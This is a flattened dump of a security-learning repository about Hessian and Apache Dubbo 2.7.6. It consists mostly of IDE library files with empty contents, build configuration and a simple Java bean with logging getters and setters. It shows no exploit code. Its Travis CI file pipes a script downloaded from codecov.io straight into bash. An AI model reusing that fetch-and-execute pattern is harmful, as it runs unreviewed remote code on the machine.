| 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_jayway_jsonpath_json_path_2_2_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_jayway_jsonpath_json_path_2_4_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_jayway_jsonpath_json_path_2_6_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_rometools_rome_1_7_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__com_rometools_rome_utils_1_7_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__commons_codec_commons_codec_1_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__commons_io_commons_io_2_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_micrometer_micrometer_core_1_3_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_all_4_1_25_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_all_4_1_48_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_all_4_1_76_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_buffer_4_1_76_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_codec_4_1_76_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_common_4_1_76_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_handler_4_1_76_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_netty_netty_resolver_4_1_76_Final.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__io_prometheus_simpleclient_0_5_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__jline_jline_0_9_94.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__junit_junit_4_12.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__log4j_log4j_1_2_16.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__log4j_log4j_1_2_17.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_bytebuddy_byte_buddy_1_10_8.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_bytebuddy_byte_buddy_1_11_22.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_bytebuddy_byte_buddy_agent_1_10_8.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_bytebuddy_byte_buddy_agent_1_11_22.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_minidev_accessors_smart_1_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_minidev_accessors_smart_1_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_minidev_accessors_smart_2_4_8.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_minidev_json_smart_2_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_minidev_json_smart_2_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__net_minidev_json_smart_2_4_8.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_commons_commons_lang3_3_9.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_curator_curator_client_4_0_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_curator_curator_recipes_4_0_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_dubbo_dubbo_2_7_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_dubbo_dubbo_cluster_2_7_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_dubbo_dubbo_common_2_7_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_dubbo_dubbo_rpc_api_2_7_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_logging_log4j_log4j_api_2_12_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_logging_log4j_log4j_api_2_17_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apache_zookeeper_zookeeper_3_4_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apiguardian_apiguardian_api_1_1_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_apiguardian_apiguardian_api_1_1_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_assertj_assertj_core_2_6_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_assertj_assertj_core_3_13_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_assertj_assertj_core_3_21_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_hamcrest_hamcrest_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_hamcrest_hamcrest_2_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_hamcrest_hamcrest_library_1_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_hdrhistogram_HdrHistogram_2_1_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_javassist_javassist_3_20_0_GA.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_javassist_javassist_3_21_0_GA.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_jdom_jdom2_2_0_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_jdom_jdom2_2_0_6_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_junit_jupiter_junit_jupiter_5_5_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_junit_jupiter_junit_jupiter_5_8_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_latencyutils_LatencyUtils_2_0_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_mockito_mockito_core_1_10_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_mockito_mockito_core_3_1_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_mockito_mockito_core_4_0_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_objenesis_objenesis_2_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_objenesis_objenesis_2_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_objenesis_objenesis_3_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_opentest4j_opentest4j_1_2_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_ow2_asm_asm_5_0_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_ow2_asm_asm_5_0_4.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_ow2_asm_asm_9_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_skyscreamer_jsonassert_1_4_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_skyscreamer_jsonassert_1_5_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_26.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_jul_to_slf4j_1_7_26.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_jul_to_slf4j_1_7_30.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_jul_to_slf4j_1_7_36.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_log4j_over_slf4j_1_7_26.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_16.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_26.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_30.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_36.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_boot_spring_boot_2_6_7.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_aop_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_beans_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_core_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_jcl_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_test_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_web_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_springframework_spring_webmvc_5_3_19.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_xmlunit_xmlunit_core_2_6_4.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_xmlunit_xmlunit_core_2_8_4.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_yaml_snakeyaml_1_17.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_yaml_snakeyaml_1_20.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_yaml_snakeyaml_1_25.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/libraries/Maven__org_yaml_snakeyaml_1_29.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /Hessian_Learning/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo-spring-boot-project-2.7.6/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.0/apache-maven-3.5.0-bin.zip 2 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/.travis.yml: -------------------------------------------------------------------------------- 1 | language: java 2 | sudo: false # faster builds 3 | 4 | jdk: 5 | - openjdk11 6 | - openjdk8 7 | 8 | script: "mvn clean package" 9 | 10 | after_success: 11 | - bash <(curl -s https://codecov.io/bash) 12 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/Hessian/src/main/java/People.java: -------------------------------------------------------------------------------- 1 | public class People { 2 | int id; 3 | String name; 4 | 5 | public int getId() { 6 | System.out.println("Student getId call"); 7 | return id; 8 | } 9 | 10 | public void setId(int id) { 11 | System.out.println("Student setId call"); 12 | this.id = id; 13 | } 14 | 15 | public String getName() { 16 | System.out.println("Student getName call"); 17 | return name; 18 | } 19 | 20 | public void setName(String name) { 21 | System.out.println("Student setName call"); 22 | this.name = name; 23 | } 24 | } -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/NOTICE: -------------------------------------------------------------------------------- 1 | Apache Dubbo 2 | Copyright 2018-2019 The Apache Software Foundation 3 | 4 | This product includes software developed at 5 | The Apache Software Foundation (http://www.apache.org/). -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-actuator/JMX_HealthEndpoint.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-actuator/JMX_HealthEndpoint.png -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-actuator/src/main/resources/META-INF/spring.factories: -------------------------------------------------------------------------------- 1 | org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ 2 | org.apache.dubbo.spring.boot.actuate.autoconfigure.DubboEndpointAnnotationAutoConfiguration -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-autoconfigure/config-popup-window.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-autoconfigure/config-popup-window.png -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-autoconfigure/mconfig-popup-window.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-autoconfigure/mconfig-popup-window.png -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-autoconfigure/src/main/resources/META-INF/spring.factories: -------------------------------------------------------------------------------- 1 | org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ 2 | org.apache.dubbo.spring.boot.autoconfigure.DubboRelaxedBinding2AutoConfiguration -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-autoconfigure/src/test/resources/dubbo.properties: -------------------------------------------------------------------------------- 1 | dubbo.application.NAME=hello 2 | dubbo.application.owneR=world 3 | dubbo.registry.Address=10.20.153.17 4 | dubbo.protocol.pORt=20881 5 | dubbo.service.invoke.timeout=2000 -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-compatible/actuator/src/main/resources/META-INF/spring.factories: -------------------------------------------------------------------------------- 1 | org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ 2 | org.apache.dubbo.spring.boot.actuate.autoconfigure.DubboEndpointAutoConfiguration,\ 3 | org.apache.dubbo.spring.boot.actuate.autoconfigure.DubboHealthIndicatorAutoConfiguration,\ 4 | org.apache.dubbo.spring.boot.actuate.autoconfigure.DubboEndpointMetadataAutoConfiguration 5 | org.springframework.boot.actuate.autoconfigure.ManagementContextConfiguration=\ 6 | org.apache.dubbo.spring.boot.actuate.autoconfigure.DubboMvcEndpointManagementContextConfiguration -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-compatible/autoconfigure/src/test/resources/META-INF/dubbo.properties: -------------------------------------------------------------------------------- 1 | dubbo.application.id = test-dubbo-application-id -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-samples/auto-configure-samples/consumer-sample/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | spring: 2 | application: 3 | name: dubbo-auto-configure-consumer-sample -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-samples/auto-configure-samples/provider-sample/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | # Spring boot application 2 | 